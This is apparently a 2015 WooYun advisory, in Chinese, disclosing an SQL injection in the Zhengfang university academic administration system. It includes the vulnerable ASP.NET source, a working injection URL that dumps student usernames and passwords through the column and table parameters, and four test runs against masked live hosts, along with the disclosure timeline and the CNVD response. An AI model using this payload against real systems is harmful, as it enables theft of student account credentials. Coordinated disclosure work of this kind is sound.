当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0142558

漏洞标题:正方教务系统任意执行select语句,轻松获取账户密码

相关厂商:正方教务

漏洞作者: error

提交时间:2015-09-24 13:07

修复时间:2015-12-28 09:24

公开时间:2015-12-28 09:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-24: 细节已通知厂商并且等待厂商处理中
2015-09-29: 厂商已经确认,细节仅向厂商公开
2015-10-02: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-11-23: 细节向核心白帽子及相关领域专家公开
2015-12-03: 细节向普通白帽子公开
2015-12-13: 细节向实习白帽子公开
2015-12-28: 细节向公众公开

简要描述:

正方教务系统某处可任意执行select语句,轻松获取账户密码

详细说明:

http://**.**.**.**/index.html
http://**.**.**.**/type_al/0400000103.html
共三十个省、市、自治区1000多所高校
国内几乎有使用教务系统的学校有%70是正方教务系统
漏洞页面:/ResultXml_common.aspx
漏洞源码:

private void Page_Load(object sender, EventArgs e)
{
string xml = "";
string k = "";
k = this.Request.QueryString["k"];
string table = this.Request.QueryString["table"];
string column = this.Request.QueryString["column"];
if (StringType.StrCmp(k, "", false) != 0)
{
xml = "<?xml version='1.0' encoding='gb2312'?>";
xml = xml + "<data><d><![CDATA[";
k = k.Replace("'", "''");
string sql = "select distinct " + column + " from " + table + " where " + column + " like '" + k + "%'";
mmtp zhj = new mmtp();
OracleConnection conn = new OracleConnection(ConfigurationSettings.AppSettings["MyConn"] + zhj.jiemi(ConfigurationSettings.AppSettings["MyPwd"], zhj.str_jm));
OracleCommand comm = new OracleCommand(sql, conn);
conn.Open();
OracleDataReader dr = comm.ExecuteReader();
while (dr.Read())
{
xml = xml + "<div onclick='setContent(this.innerHTML)' onmouseover='ChangeColor(this)' onmouseout='Back(this)'>" + dr[0].ToString() + "</div>";
}
dr.Close();
comm.Dispose();
conn.Close();
xml = xml + "]]></d></data>";
}
this.Response.ContentType = "text/xml";
this.Response.ContentEncoding = Encoding.GetEncoding("gb2312");
this.Response.Clear();
this.Response.Write(xml);
this.Response.End();
}
}

通过column参数和table参数,可以任意执行SELECT查询!,由于select语句分割在两个参数中,因此也可以绕过内置的SQL注入检测。

漏洞证明:

Payload:

/ResultXml_common.aspx?k=%&column='[username='||xh||']['||'passwd='||mm||']'&table=xsjbxxb+where+rownum<=10--


测试案例:
(1)http://**.**.**.**/
http://**.**.**.**/ResultXml_common.aspx?k=%&column='[username='||xh||']['||'passwd='||mm||']'&table=xsjbxxb+where+rownum<=30--

1.png


(2)http://**.**.**.**
http://**.**.**.**/ResultXml_common.aspx?k=%&column='[username='||xh||']['||'passwd='||mm||']'&table=xsjbxxb+where+rownum<=30--

2.png


(3)http://**.**.**.**/
http://**.**.**.**/ResultXml_common.aspx?k=%&column='[username='||xh||']['||'passwd='||mm||']'&table=xsjbxxb+where+rownum+<+30--

3.png


(4)**.**.**.**/
**.**.**.**/ResultXml_common.aspx?k=%&column='[username='||xh||']['||'passwd='||mm||']'&table=xsjbxxb+where+rownum+<+30--

4.png



修复方案:

过滤

版权声明:转载请注明来源 error@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2015-09-29 09:22

厂商回复:

CNVD确认并复现所述情况,已由CNVD通过软件生产厂商公开联系渠道向其邮件通报,由其后续提供解决方案并协调相关用户单位处置。

最新状态:

暂无